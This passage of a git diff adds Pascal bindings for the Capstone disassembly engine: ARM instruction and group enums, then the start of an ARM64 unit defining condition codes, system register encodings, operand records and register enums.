ARM_INS_QADD8, + ARM_INS_QASX, + ARM_INS_QDADD, + ARM_INS_QDSUB, + ARM_INS_QSAX, + ARM_INS_QSUB, + ARM_INS_QSUB16, + ARM_INS_QSUB8, + ARM_INS_RBIT, + ARM_INS_REV, + ARM_INS_REV16, + ARM_INS_REVSH, + ARM_INS_RFEDA, + ARM_INS_RFEDB, + ARM_INS_RFEIA, + ARM_INS_RFEIB, + ARM_INS_RSB, + ARM_INS_RSC, + ARM_INS_SADD16, + ARM_INS_SADD8, + ARM_INS_SASX, + ARM_INS_SBC, + ARM_INS_SBFX, + ARM_INS_SDIV, + ARM_INS_SEL, + ARM_INS_SETEND, + ARM_INS_SHA1C, + ARM_INS_SHA1H, + ARM_INS_SHA1M, + ARM_INS_SHA1P, + ARM_INS_SHA1SU0, + ARM_INS_SHA1SU1, + ARM_INS_SHA256H, + ARM_INS_SHA256H2, + ARM_INS_SHA256SU0, + ARM_INS_SHA256SU1, + ARM_INS_SHADD16, + ARM_INS_SHADD8, + ARM_INS_SHASX, + ARM_INS_SHSAX, + ARM_INS_SHSUB16, + ARM_INS_SHSUB8, + ARM_INS_SMC, + ARM_INS_SMLABB, + ARM_INS_SMLABT, + ARM_INS_SMLAD, + ARM_INS_SMLADX, + ARM_INS_SMLAL, + ARM_INS_SMLALBB, + ARM_INS_SMLALBT, + ARM_INS_SMLALD, + ARM_INS_SMLALDX, + ARM_INS_SMLALTB, + ARM_INS_SMLALTT, + ARM_INS_SMLATB, + ARM_INS_SMLATT, + ARM_INS_SMLAWB, + ARM_INS_SMLAWT, + ARM_INS_SMLSD, + ARM_INS_SMLSDX, + ARM_INS_SMLSLD, + ARM_INS_SMLSLDX, + ARM_INS_SMMLA, + ARM_INS_SMMLAR, + ARM_INS_SMMLS, + ARM_INS_SMMLSR, + ARM_INS_SMMUL, + ARM_INS_SMMULR, + ARM_INS_SMUAD, + ARM_INS_SMUADX, + ARM_INS_SMULBB, + ARM_INS_SMULBT, + ARM_INS_SMULL, + ARM_INS_SMULTB, + ARM_INS_SMULTT, + ARM_INS_SMULWB, + ARM_INS_SMULWT, + ARM_INS_SMUSD, + ARM_INS_SMUSDX, + ARM_INS_SRSDA, + ARM_INS_SRSDB, + ARM_INS_SRSIA, + ARM_INS_SRSIB, + ARM_INS_SSAT, + ARM_INS_SSAT16, + ARM_INS_SSAX, + ARM_INS_SSUB16, + ARM_INS_SSUB8, + ARM_INS_STC2L, + ARM_INS_STC2, + ARM_INS_STCL, + ARM_INS_STC, + ARM_INS_STL, + ARM_INS_STLB, + ARM_INS_STLEX, + ARM_INS_STLEXB, + ARM_INS_STLEXD, + ARM_INS_STLEXH, + ARM_INS_STLH, + ARM_INS_STMDA, + ARM_INS_STMDB, + ARM_INS_STM, + ARM_INS_STMIB, + ARM_INS_STRBT, + ARM_INS_STRB, + ARM_INS_STRD, + ARM_INS_STREX, + ARM_INS_STREXB, + ARM_INS_STREXD, + ARM_INS_STREXH, + ARM_INS_STRH, + ARM_INS_STRHT, + ARM_INS_STRT, + ARM_INS_STR, + ARM_INS_SUB, + ARM_INS_SVC, + ARM_INS_SWP, + ARM_INS_SWPB, + ARM_INS_SXTAB, + ARM_INS_SXTAB16, + ARM_INS_SXTAH, + ARM_INS_SXTB, + ARM_INS_SXTB16, + ARM_INS_SXTH, + ARM_INS_TEQ, + ARM_INS_TRAP, + ARM_INS_TST, + ARM_INS_UADD16, + ARM_INS_UADD8, + ARM_INS_UASX, + ARM_INS_UBFX, + ARM_INS_UDF, + ARM_INS_UDIV, + ARM_INS_UHADD16, + ARM_INS_UHADD8, + ARM_INS_UHASX, + ARM_INS_UHSAX, + ARM_INS_UHSUB16, + ARM_INS_UHSUB8, + ARM_INS_UMAAL, + ARM_INS_UMLAL, + ARM_INS_UMULL, + ARM_INS_UQADD16, + ARM_INS_UQADD8, + ARM_INS_UQASX, + ARM_INS_UQSAX, + ARM_INS_UQSUB16, + ARM_INS_UQSUB8, + ARM_INS_USAD8, + ARM_INS_USADA8, + ARM_INS_USAT, + ARM_INS_USAT16, + ARM_INS_USAX, + ARM_INS_USUB16, + ARM_INS_USUB8, + ARM_INS_UXTAB, + ARM_INS_UXTAB16, + ARM_INS_UXTAH, + ARM_INS_UXTB, + ARM_INS_UXTB16, + ARM_INS_UXTH, + ARM_INS_VABAL, + ARM_INS_VABA, + ARM_INS_VABDL, + ARM_INS_VABD, + ARM_INS_VABS, + ARM_INS_VACGE, + ARM_INS_VACGT, + ARM_INS_VADD, + ARM_INS_VADDHN, + ARM_INS_VADDL, + ARM_INS_VADDW, + ARM_INS_VAND, + ARM_INS_VBIC, + ARM_INS_VBIF, + ARM_INS_VBIT, + ARM_INS_VBSL, + ARM_INS_VCEQ, + ARM_INS_VCGE, + ARM_INS_VCGT, + ARM_INS_VCLE, + ARM_INS_VCLS, + ARM_INS_VCLT, + ARM_INS_VCLZ, + ARM_INS_VCMP, + ARM_INS_VCMPE, + ARM_INS_VCNT, + ARM_INS_VCVTA, + ARM_INS_VCVTB, + ARM_INS_VCVT, + ARM_INS_VCVTM, + ARM_INS_VCVTN, + ARM_INS_VCVTP, + ARM_INS_VCVTT, + ARM_INS_VDIV, + ARM_INS_VDUP, + ARM_INS_VEOR, + ARM_INS_VEXT, + ARM_INS_VFMA, + ARM_INS_VFMS, + ARM_INS_VFNMA, + ARM_INS_VFNMS, + ARM_INS_VHADD, + ARM_INS_VHSUB, + ARM_INS_VLD1, + ARM_INS_VLD2, + ARM_INS_VLD3, + ARM_INS_VLD4, + ARM_INS_VLDMDB, + ARM_INS_VLDMIA, + ARM_INS_VLDR, + ARM_INS_VMAXNM, + ARM_INS_VMAX, + ARM_INS_VMINNM, + ARM_INS_VMIN, + ARM_INS_VMLA, + ARM_INS_VMLAL, + ARM_INS_VMLS, + ARM_INS_VMLSL, + ARM_INS_VMOVL, + ARM_INS_VMOVN, + ARM_INS_VMSR, + ARM_INS_VMUL, + ARM_INS_VMULL, + ARM_INS_VMVN, + ARM_INS_VNEG, + ARM_INS_VNMLA, + ARM_INS_VNMLS, + ARM_INS_VNMUL, + ARM_INS_VORN, + ARM_INS_VORR, + ARM_INS_VPADAL, + ARM_INS_VPADDL, + ARM_INS_VPADD, + ARM_INS_VPMAX, + ARM_INS_VPMIN, + ARM_INS_VQABS, + ARM_INS_VQADD, + ARM_INS_VQDMLAL, + ARM_INS_VQDMLSL, + ARM_INS_VQDMULH, + ARM_INS_VQDMULL, + ARM_INS_VQMOVUN, + ARM_INS_VQMOVN, + ARM_INS_VQNEG, + ARM_INS_VQRDMULH, + ARM_INS_VQRSHL, + ARM_INS_VQRSHRN, + ARM_INS_VQRSHRUN, + ARM_INS_VQSHL, + ARM_INS_VQSHLU, + ARM_INS_VQSHRN, + ARM_INS_VQSHRUN, + ARM_INS_VQSUB, + ARM_INS_VRADDHN, + ARM_INS_VRECPE, + ARM_INS_VRECPS, + ARM_INS_VREV16, + ARM_INS_VREV32, + ARM_INS_VREV64, + ARM_INS_VRHADD, + ARM_INS_VRINTA, + ARM_INS_VRINTM, + ARM_INS_VRINTN, + ARM_INS_VRINTP, + ARM_INS_VRINTR, + ARM_INS_VRINTX, + ARM_INS_VRINTZ, + ARM_INS_VRSHL, + ARM_INS_VRSHRN, + ARM_INS_VRSHR, + ARM_INS_VRSQRTE, + ARM_INS_VRSQRTS, + ARM_INS_VRSRA, + ARM_INS_VRSUBHN, + ARM_INS_VSELEQ, + ARM_INS_VSELGE, + ARM_INS_VSELGT, + ARM_INS_VSELVS, + ARM_INS_VSHLL, + ARM_INS_VSHL, + ARM_INS_VSHRN, + ARM_INS_VSHR, + ARM_INS_VSLI, + ARM_INS_VSQRT, + ARM_INS_VSRA, + ARM_INS_VSRI, + ARM_INS_VST1, + ARM_INS_VST2, + ARM_INS_VST3, + ARM_INS_VST4, + ARM_INS_VSTMDB, + ARM_INS_VSTMIA, + ARM_INS_VSTR, + ARM_INS_VSUB, + ARM_INS_VSUBHN, + ARM_INS_VSUBL, + ARM_INS_VSUBW, + ARM_INS_VSWP, + ARM_INS_VTBL, + ARM_INS_VTBX, + ARM_INS_VCVTR, + ARM_INS_VTRN, + ARM_INS_VTST, + ARM_INS_VUZP, + ARM_INS_VZIP, + ARM_INS_ADDW, + ARM_INS_ASR, + ARM_INS_DCPS1, + ARM_INS_DCPS2, + ARM_INS_DCPS3, + ARM_INS_IT, + ARM_INS_LSL, + ARM_INS_LSR, + ARM_INS_ASRS, + ARM_INS_LSRS, + ARM_INS_ORN, + ARM_INS_ROR, + ARM_INS_RRX, + ARM_INS_SUBS, + ARM_INS_SUBW, + ARM_INS_TBB, + ARM_INS_TBH, + ARM_INS_CBNZ, + ARM_INS_CBZ, + ARM_INS_MOVS, + ARM_INS_POP, + ARM_INS_PUSH, + + // special instructions + ARM_INS_NOP, + ARM_INS_YIELD, + ARM_INS_WFE, + ARM_INS_WFI, + ARM_INS_SEV, + ARM_INS_SEVL, + ARM_INS_VPUSH, + ARM_INS_VPOP, + + ARM_INS_ENDING // <-- mark the end of the list of instructions + ); + + //> Group of ARM instructions + arm_insn_group = ( + ARM_GRP_INVALID = 0, // = CS_GRP_INVALID + + //> Generic groups + // all jump instructions (conditional+direct+indirect jumps) + ARM_GRP_JUMP, // = CS_GRP_JUMP + + //> Architecture-specific groups + ARM_GRP_CRYPTO = 128, + ARM_GRP_DATABARRIER, + ARM_GRP_DIVIDE, + ARM_GRP_FPARMV8, + ARM_GRP_MULTPRO, + ARM_GRP_NEON, + ARM_GRP_T2EXTRACTPACK, + ARM_GRP_THUMB2DSP, + ARM_GRP_TRUSTZONE, + ARM_GRP_V4T, + ARM_GRP_V5T, + ARM_GRP_V5TE, + ARM_GRP_V6, + ARM_GRP_V6T2, + ARM_GRP_V7, + ARM_GRP_V8, + ARM_GRP_VFP2, + ARM_GRP_VFP3, + ARM_GRP_VFP4, + ARM_GRP_ARM, + ARM_GRP_MCLASS, + ARM_GRP_NOTMCLASS, + ARM_GRP_THUMB, + ARM_GRP_THUMB1ONLY, + ARM_GRP_THUMB2, + ARM_GRP_PREV8, + ARM_GRP_FPVMLX, + ARM_GRP_MULOPS, + ARM_GRP_CRC, + ARM_GRP_DPVFP, + ARM_GRP_V6M, + + ARM_GRP_ENDING + ); + +implementation + +end. diff --git a/Core/Capstone/CapstoneArm64.pas b/Core/Capstone/CapstoneArm64.pas new file mode 100755 index 0000000..76bec8c --- /dev/null +++ b/Core/Capstone/CapstoneArm64.pas @@ -0,0 +1,1143 @@ +{ + Pascal language binding for the Capstone engine <http://www.capstone-engine.org/> + + Copyright (C) 2014, Stefan Ascher +} + +unit CapstoneArm64; +{ + arm64.h +} + +interface + +type + //> ARM64 shift type + arm64_shifter = ( + ARM64_SFT_INVALID = 0, + ARM64_SFT_LSL = 1, + ARM64_SFT_MSL = 2, + ARM64_SFT_LSR = 3, + ARM64_SFT_ASR = 4, + ARM64_SFT_ROR = 5 + ); + + //> ARM64 extender type + arm64_extender = ( + ARM64_EXT_INVALID = 0, + ARM64_EXT_UXTB = 1, + ARM64_EXT_UXTH = 2, + ARM64_EXT_UXTW = 3, + ARM64_EXT_UXTX = 4, + ARM64_EXT_SXTB = 5, + ARM64_EXT_SXTH = 6, + ARM64_EXT_SXTW = 7, + ARM64_EXT_SXTX = 8 + ); + + //> ARM64 condition code + arm64_cc = ( + ARM64_CC_INVALID = 0, + ARM64_CC_EQ = 1, // Equal + ARM64_CC_NE = 2, // Not equal: Not equal, or unordered + ARM64_CC_HS = 3, // Unsigned higher or same: >, ==, or unordered + ARM64_CC_LO = 4, // Unsigned lower or same: Less than + ARM64_CC_MI = 5, // Minus, negative: Less than + ARM64_CC_PL = 6, // Plus, positive or zero: >, ==, or unordered + ARM64_CC_VS = 7, // Overflow: Unordered + ARM64_CC_VC = 8, // No overflow: Ordered + ARM64_CC_HI = 9, // Unsigned higher: Greater than, or unordered + ARM64_CC_LS = 10, // Unsigned lower or same: Less than or equal + ARM64_CC_GE = 11, // Greater than or equal: Greater than or equal + ARM64_CC_LT = 12, // Less than: Less than, or unordered + ARM64_CC_GT = 13, // Signed greater than: Greater than + ARM64_CC_LE = 14, // Signed less than or equal: <, ==, or unordered + ARM64_CC_AL = 15, // Always (unconditional): Always (unconditional) + ARM64_CC_NV = 16 // Always (unconditional): Always (unconditional) + // Note the NV exists purely to disassemble 0b1111. Execution + // is "always". + ); + + //> System registers + arm64_mrs_reg = ( + //> System registers for MRS + ARM64_SYSREG_INVALID = 0, + ARM64_SYSREG_MDCCSR_EL0 = $9808, // 10 011 0000 0001 000 + ARM64_SYSREG_DBGDTRRX_EL0 = $9828, // 10 011 0000 0101 000 + ARM64_SYSREG_MDRAR_EL1 = $8080, // 10 000 0001 0000 000 + ARM64_SYSREG_OSLSR_EL1 = $808c, // 10 000 0001 0001 100 + ARM64_SYSREG_DBGAUTHSTATUS_EL1 = $83f6, // 10 000 0111 1110 110 + ARM64_SYSREG_PMCEID0_EL0 = $dce6, // 11 011 1001 1100 110 + ARM64_SYSREG_PMCEID1_EL0 = $dce7, // 11 011 1001 1100 111 + ARM64_SYSREG_MIDR_EL1 = $c000, // 11 000 0000 0000 000 + ARM64_SYSREG_CCSIDR_EL1 = $c800, // 11 001 0000 0000 000 + ARM64_SYSREG_CLIDR_EL1 = $c801, // 11 001 0000 0000 001 + ARM64_SYSREG_CTR_EL0 = $d801, // 11 011 0000 0000 001 + ARM64_SYSREG_MPIDR_EL1 = $c005, // 11 000 0000 0000 101 + ARM64_SYSREG_REVIDR_EL1 = $c006, // 11 000 0000 0000 110 + ARM64_SYSREG_AIDR_EL1 = $c807, // 11 001 0000 0000 111 + ARM64_SYSREG_DCZID_EL0 = $d807, // 11 011 0000 0000 111 + ARM64_SYSREG_ID_PFR0_EL1 = $c008, // 11 000 0000 0001 000 + ARM64_SYSREG_ID_PFR1_EL1 = $c009, // 11 000 0000 0001 001 + ARM64_SYSREG_ID_DFR0_EL1 = $c00a, // 11 000 0000 0001 010 + ARM64_SYSREG_ID_AFR0_EL1 = $c00b, // 11 000 0000 0001 011 + ARM64_SYSREG_ID_MMFR0_EL1 = $c00c, // 11 000 0000 0001 100 + ARM64_SYSREG_ID_MMFR1_EL1 = $c00d, // 11 000 0000 0001 101 + ARM64_SYSREG_ID_MMFR2_EL1 = $c00e, // 11 000 0000 0001 110 + ARM64_SYSREG_ID_MMFR3_EL1 = $c00f, // 11 000 0000 0001 111 + ARM64_SYSREG_ID_ISAR0_EL1 = $c010, // 11 000 0000 0010 000 + ARM64_SYSREG_ID_ISAR1_EL1 = $c011, // 11 000 0000 0010 001 + ARM64_SYSREG_ID_ISAR2_EL1 = $c012, // 11 000 0000 0010 010 + ARM64_SYSREG_ID_ISAR3_EL1 = $c013, // 11 000 0000 0010 011 + ARM64_SYSREG_ID_ISAR4_EL1 = $c014, // 11 000 0000 0010 100 + ARM64_SYSREG_ID_ISAR5_EL1 = $c015, // 11 000 0000 0010 101 + ARM64_SYSREG_ID_A64PFR0_EL1 = $c020, // 11 000 0000 0100 000 + ARM64_SYSREG_ID_A64PFR1_EL1 = $c021, // 11 000 0000 0100 001 + ARM64_SYSREG_ID_A64DFR0_EL1 = $c028, // 11 000 0000 0101 000 + ARM64_SYSREG_ID_A64DFR1_EL1 = $c029, // 11 000 0000 0101 001 + ARM64_SYSREG_ID_A64AFR0_EL1 = $c02c, // 11 000 0000 0101 100 + ARM64_SYSREG_ID_A64AFR1_EL1 = $c02d, // 11 000 0000 0101 101 + ARM64_SYSREG_ID_A64ISAR0_EL1 = $c030, // 11 000 0000 0110 000 + ARM64_SYSREG_ID_A64ISAR1_EL1 = $c031, // 11 000 0000 0110 001 + ARM64_SYSREG_ID_A64MMFR0_EL1 = $c038, // 11 000 0000 0111 000 + ARM64_SYSREG_ID_A64MMFR1_EL1 = $c039, // 11 000 0000 0111 001 + ARM64_SYSREG_MVFR0_EL1 = $c018, // 11 000 0000 0011 000 + ARM64_SYSREG_MVFR1_EL1 = $c019, // 11 000 0000 0011 001 + ARM64_SYSREG_MVFR2_EL1 = $c01a, // 11 000 0000 0011 010 + ARM64_SYSREG_RVBAR_EL1 = $c601, // 11 000 1100 0000 001 + ARM64_SYSREG_RVBAR_EL2 = $e601, // 11 100 1100 0000 001 + ARM64_SYSREG_RVBAR_EL3 = $f601, // 11 110 1100 0000 001 + ARM64_SYSREG_ISR_EL1 = $c608, // 11 000 1100 0001 000 + ARM64_SYSREG_CNTPCT_EL0 = $df01, // 11 011 1110 0000 001 + ARM64_SYSREG_CNTVCT_EL0 = $df02, // 11 011 1110 0000 010 + + // Trace registers + ARM64_SYSREG_TRCSTATR = $8818, // 10 001 0000 0011 000 + ARM64_SYSREG_TRCIDR8 = $8806, // 10 001 0000 0000 110 + ARM64_SYSREG_TRCIDR9 = $880e, // 10 001 0000 0001 110 + ARM64_SYSREG_TRCIDR10 = $8816, // 10 001 0000 0010 110 + ARM64_SYSREG_TRCIDR11 = $881e, // 10 001 0000 0011 110 + ARM64_SYSREG_TRCIDR12 = $8826, // 10 001 0000 0100 110 + ARM64_SYSREG_TRCIDR13 = $882e, // 10 001 0000 0101 110 + ARM64_SYSREG_TRCIDR0 = $8847, // 10 001 0000 1000 111 + ARM64_SYSREG_TRCIDR1 = $884f, // 10 001 0000 1001 111 + ARM64_SYSREG_TRCIDR2 = $8857, // 10 001 0000 1010 111 + ARM64_SYSREG_TRCIDR3 = $885f, // 10 001 0000 1011 111 + ARM64_SYSREG_TRCIDR4 = $8867, // 10 001 0000 1100 111 + ARM64_SYSREG_TRCIDR5 = $886f, // 10 001 0000 1101 111 + ARM64_SYSREG_TRCIDR6 = $8877, // 10 001 0000 1110 111 + ARM64_SYSREG_TRCIDR7 = $887f, // 10 001 0000 1111 111 + ARM64_SYSREG_TRCOSLSR = $888c, // 10 001 0001 0001 100 + ARM64_SYSREG_TRCPDSR = $88ac, // 10 001 0001 0101 100 + ARM64_SYSREG_TRCDEVAFF0 = $8bd6, // 10 001 0111 1010 110 + ARM64_SYSREG_TRCDEVAFF1 = $8bde, // 10 001 0111 1011 110 + ARM64_SYSREG_TRCLSR = $8bee, // 10 001 0111 1101 110 + ARM64_SYSREG_TRCAUTHSTATUS = $8bf6, // 10 001 0111 1110 110 + ARM64_SYSREG_TRCDEVARCH = $8bfe, // 10 001 0111 1111 110 + ARM64_SYSREG_TRCDEVID = $8b97, // 10 001 0111 0010 111 + ARM64_SYSREG_TRCDEVTYPE = $8b9f, // 10 001 0111 0011 111 + ARM64_SYSREG_TRCPIDR4 = $8ba7, // 10 001 0111 0100 111 + ARM64_SYSREG_TRCPIDR5 = $8baf, // 10 001 0111 0101 111 + ARM64_SYSREG_TRCPIDR6 = $8bb7, // 10 001 0111 0110 111 + ARM64_SYSREG_TRCPIDR7 = $8bbf, // 10 001 0111 0111 111 + ARM64_SYSREG_TRCPIDR0 = $8bc7, // 10 001 0111 1000 111 + ARM64_SYSREG_TRCPIDR1 = $8bcf, // 10 001 0111 1001 111 + ARM64_SYSREG_TRCPIDR2 = $8bd7, // 10 001 0111 1010 111 + ARM64_SYSREG_TRCPIDR3 = $8bdf, // 10 001 0111 1011 111 + ARM64_SYSREG_TRCCIDR0 = $8be7, // 10 001 0111 1100 111 + ARM64_SYSREG_TRCCIDR1 = $8bef, // 10 001 0111 1101 111 + ARM64_SYSREG_TRCCIDR2 = $8bf7, // 10 001 0111 1110 111 + ARM64_SYSREG_TRCCIDR3 = $8bff, // 10 001 0111 1111 111 + + // GICv3 registers + ARM64_SYSREG_ICC_IAR1_EL1 = $c660, // 11 000 1100 1100 000 + ARM64_SYSREG_ICC_IAR0_EL1 = $c640, // 11 000 1100 1000 000 + ARM64_SYSREG_ICC_HPPIR1_EL1 = $c662, // 11 000 1100 1100 010 + ARM64_SYSREG_ICC_HPPIR0_EL1 = $c642, // 11 000 1100 1000 010 + ARM64_SYSREG_ICC_RPR_EL1 = $c65b, // 11 000 1100 1011 011 + ARM64_SYSREG_ICH_VTR_EL2 = $e659, // 11 100 1100 1011 001 + ARM64_SYSREG_ICH_EISR_EL2 = $e65b, // 11 100 1100 1011 011 + ARM64_SYSREG_ICH_ELSR_EL2 = $e65d // 11 100 1100 1011 101 + ); + + arm64_msr_reg = ( + //> System registers for MSR + ARM64_SYSREG_DBGDTRTX_EL0 = $9828, // 10 011 0000 0101 000 + ARM64_SYSREG_OSLAR_EL1 = $8084, // 10 000 0001 0000 100 + ARM64_SYSREG_PMSWINC_EL0 = $dce4, // 11 011 1001 1100 100 + + // Trace Registers + ARM64_SYSREG_TRCOSLAR = $8884, // 10 001 0001 0000 100 + ARM64_SYSREG_TRCLAR = $8be6, // 10 001 0111 1100 110 + + // GICv3 registers + ARM64_SYSREG_ICC_EOIR1_EL1 = $c661, // 11 000 1100 1100 001 + ARM64_SYSREG_ICC_EOIR0_EL1 = $c641, // 11 000 1100 1000 001 + ARM64_SYSREG_ICC_DIR_EL1 = $c659, // 11 000 1100 1011 001 + ARM64_SYSREG_ICC_SGI1R_EL1 = $c65d, // 11 000 1100 1011 101 + ARM64_SYSREG_ICC_ASGI1R_EL1 = $c65e, // 11 000 1100 1011 110 + ARM64_SYSREG_ICC_SGI0R_EL1 = $c65f // 11 000 1100 1011 111 + ); + + //> System PState Field (MSR instruction) + arm64_pstate = ( + ARM64_PSTATE_INVALID = 0, + ARM64_PSTATE_SPSEL = $05, + ARM64_PSTATE_DAIFSET = $1e, + ARM64_PSTATE_DAIFCLR = $1f + ); + + //> Vector arrangement specifier (for FloatingPoint/Advanced SIMD insn) + arm64_vas = ( + ARM64_VAS_INVALID = 0, + ARM64_VAS_8B, + ARM64_VAS_16B, + ARM64_VAS_4H, + ARM64_VAS_8H, + ARM64_VAS_2S, + ARM64_VAS_4S, + ARM64_VAS_1D, + ARM64_VAS_2D, + ARM64_VAS_1Q + ); + + + //> Vector element size specifier + + arm64_vess = ( + ARM64_VESS_INVALID = 0, + ARM64_VESS_B, + ARM64_VESS_H, + ARM64_VESS_S, + ARM64_VESS_D + ); + + + //> Memory barrier operands + arm64_barrier_op = ( + ARM64_BARRIER_INVALID = 0, + ARM64_BARRIER_OSHLD = $1, + ARM64_BARRIER_OSHST = $2, + ARM64_BARRIER_OSH = $3, + ARM64_BARRIER_NSHLD = $5, + ARM64_BARRIER_NSHST = $6, + ARM64_BARRIER_NSH = $7, + ARM64_BARRIER_ISHLD = $9, + ARM64_BARRIER_ISHST = $a, + ARM64_BARRIER_ISH = $b, + ARM64_BARRIER_LD = $d, + ARM64_BARRIER_ST = $e, + ARM64_BARRIER_SY = $f + ); + + //> Operand type for instruction's operands + arm64_op_type = ( + ARM64_OP_INVALID = 0, // = CS_OP_INVALID (Uninitialized). + ARM64_OP_REG, // = CS_OP_REG (Register operand). + ARM64_OP_IMM, // = CS_OP_IMM (Immediate operand). + ARM64_OP_MEM_, // = CS_OP_MEM (Memory operand). + ARM64_OP_FP, // = CS_OP_FP (Floating-Point operand). + ARM64_OP_CIMM = 64, // C-Immediate + ARM64_OP_REG_MRS, // MRS register operand. + ARM64_OP_REG_MSR, // MSR register operand. + ARM64_OP_PSTATE, // PState operand. + ARM64_OP_SYS, // SYS operand for IC/DC/AT/TLBI instructions. + ARM64_OP_PREFETCH, // Prefetch operand (PRFM). + ARM64_OP_BARRIER // Memory barrier operand (ISB/DMB/DSB instructions). + ); + + //> TLBI operations + arm64_tlbi_op = ( + ARM64_TLBI_INVALID = 0, + ARM64_TLBI_VMALLE1IS, + ARM64_TLBI_VAE1IS, + ARM64_TLBI_ASIDE1IS, + ARM64_TLBI_VAAE1IS, + ARM64_TLBI_VALE1IS, + ARM64_TLBI_VAALE1IS, + ARM64_TLBI_ALLE2IS, + ARM64_TLBI_VAE2IS, + ARM64_TLBI_ALLE1IS, + ARM64_TLBI_VALE2IS, + ARM64_TLBI_VMALLS12E1IS, + ARM64_TLBI_ALLE3IS, + ARM64_TLBI_VAE3IS, + ARM64_TLBI_VALE3IS, + ARM64_TLBI_IPAS2E1IS, + ARM64_TLBI_IPAS2LE1IS, + ARM64_TLBI_IPAS2E1, + ARM64_TLBI_IPAS2LE1, + ARM64_TLBI_VMALLE1, + ARM64_TLBI_VAE1, + ARM64_TLBI_ASIDE1, + ARM64_TLBI_VAAE1, + ARM64_TLBI_VALE1, + ARM64_TLBI_VAALE1, + ARM64_TLBI_ALLE2, + ARM64_TLBI_VAE2, + ARM64_TLBI_ALLE1, + ARM64_TLBI_VALE2, + ARM64_TLBI_VMALLS12E1, + ARM64_TLBI_ALLE3, + ARM64_TLBI_VAE3, + ARM64_TLBI_VALE3 + ); + + //> AT operations + arm64_at_op = ( + ARM64_AT_S1E1R, + ARM64_AT_S1E1W, + ARM64_AT_S1E0R, + ARM64_AT_S1E0W, + ARM64_AT_S1E2R, + ARM64_AT_S1E2W, + ARM64_AT_S12E1R, + ARM64_AT_S12E1W, + ARM64_AT_S12E0R, + ARM64_AT_S12E0W, + ARM64_AT_S1E3R, + ARM64_AT_S1E3W + ); + + //> DC operations + arm64_dc_op = ( + ARM64_DC_INVALID = 0, + ARM64_DC_ZVA, + ARM64_DC_IVAC, + ARM64_DC_ISW, + ARM64_DC_CVAC, + ARM64_DC_CSW, + ARM64_DC_CVAU, + ARM64_DC_CIVAC, + ARM64_DC_CISW + ); + + //> IC operations + arm64_ic_op = ( + ARM64_IC_INVALID = 0, + ARM64_IC_IALLUIS, + ARM64_IC_IALLU, + ARM64_IC_IVAU + ); + + //> Prefetch operations (PRFM) + arm64_prefetch_op = ( + ARM64_PRFM_INVALID = 0, + ARM64_PRFM_PLDL1KEEP = $00 + 1, + ARM64_PRFM_PLDL1STRM = $01 + 1, + ARM64_PRFM_PLDL2KEEP = $02 + 1, + ARM64_PRFM_PLDL2STRM = $03 + 1, + ARM64_PRFM_PLDL3KEEP = $04 + 1, + ARM64_PRFM_PLDL3STRM = $05 + 1, + ARM64_PRFM_PLIL1KEEP = $08 + 1, + ARM64_PRFM_PLIL1STRM = $09 + 1, + ARM64_PRFM_PLIL2KEEP = $0a + 1, + ARM64_PRFM_PLIL2STRM = $0b + 1, + ARM64_PRFM_PLIL3KEEP = $0c + 1, + ARM64_PRFM_PLIL3STRM = $0d + 1, + ARM64_PRFM_PSTL1KEEP = $10 + 1, + ARM64_PRFM_PSTL1STRM = $11 + 1, + ARM64_PRFM_PSTL2KEEP = $12 + 1, + ARM64_PRFM_PSTL2STRM = $13 + 1, + ARM64_PRFM_PSTL3KEEP = $14 + 1, + ARM64_PRFM_PSTL3STRM = $15 + 1 + ); + + // Instruction's operand referring to memory + // This is associated with ARM64_OP_MEM operand type above + arm64_op_mem = record + base: Cardinal; + index: Cardinal; + disp: Integer; + end; + + // Instruction operand + cs_arm64_op = record + vector_index: integer; + vas: arm64_vas; + vess: arm64_vess; + shift: record + _type: arm64_shifter; + value: Cardinal; + end; + ext: arm64_extender; + _type: arm64_op_type; + case Integer of + 0: (reg: Cardinal); + 1: (imm: Int64); + 2: (fp: Double); + 3: (mem: arm64_op_mem); + 4: (pstate: arm64_pstate); + 5: (sys: Cardinal); + 6: (prefetch: arm64_prefetch_op); + 7: (barrier: arm64_barrier_op); + end; + + cs_arm64 = record + cc: arm64_cc; + update_flags: boolean; + writeback: boolean; + op_count: Byte; + operands: array[0..7] of cs_arm64_op; + end; + + //> ARM64 registers + arm64_reg = ( + ARM64_REG_INVALID = 0, + + ARM64_REG_X29, + ARM64_REG_X30, + ARM64_REG_NZCV, + ARM64_REG_SP, + ARM64_REG_WSP, + ARM64_REG_WZR, + ARM64_REG_XZR, + ARM64_REG_B0, + ARM64_REG_B1, + ARM64_REG_B2, + ARM64_REG_B3, + ARM64_REG_B4, + ARM64_REG_B5, + ARM64_REG_B6, + ARM64_REG_B7, + ARM64_REG_B8, + ARM64_REG_B9, + ARM64_REG_B10, + ARM64_REG_B11, + ARM64_REG_B12, + ARM64_REG_B13, + ARM64_REG_B14, + ARM64_REG_B15, + ARM64_REG_B16, + ARM64_REG_B17, + ARM64_REG_B18, + ARM64_REG_B19, + ARM64_REG_B20, + ARM64_REG_B21, + ARM64_REG_B22, + ARM64_REG_B23, + ARM64_REG_B24, + ARM64_REG_B25, + ARM64_REG_B26, + ARM64_REG_B27, + ARM64_REG_B28, + ARM64_REG_B29, + ARM64_REG_B30, + ARM64_REG_B31, + ARM64_REG_D0, + ARM64_REG_D1, + ARM64_REG_D2, + ARM64_REG_D3, + ARM64_REG_D4, + ARM64_REG_D5, + ARM64_REG_D6, + ARM64_REG_D7, + ARM64_REG_D8, + ARM64_REG_D9, + ARM64_REG_D10, + ARM64_REG_D11, + ARM64_REG_D12, + ARM64_REG_D13, + ARM64_REG_D14, + ARM64_REG_D15, + ARM64_REG_D16, + ARM64_REG_D17, + ARM64_REG_D18, + ARM64_REG_D19, + ARM64_REG_D20, + ARM64_REG_D21, + ARM64_REG_D22, + ARM64_REG_D23, + ARM64_REG_D24, + ARM64_REG_D25, + ARM64_REG_D26, + ARM64_REG_D27, + ARM64_REG_D28, + ARM64_REG_D29, + ARM64_REG_D30, + ARM64_REG_D31, + ARM64_REG_H0, + ARM64_REG_H1, + ARM64_REG_H2, + ARM64_REG_H3, + ARM64_REG_H4, + ARM64_REG_H5, + ARM64_REG_H6, + ARM64_REG_H7, + ARM64_REG_H8, + ARM64_REG_H9, + ARM64_REG_H10, + ARM64_REG_H11, + ARM64_REG_H12, + ARM64_REG_H13, + ARM64_REG_H14, + ARM64_REG_H15, + ARM64_REG_H16, + ARM64_REG_H17, + ARM64_REG_H18, + ARM64_REG_H19, + ARM64_REG_H20, + ARM64_REG_H21, + ARM64_REG_H22, + ARM64_REG_H23, + ARM64_REG_H24, + 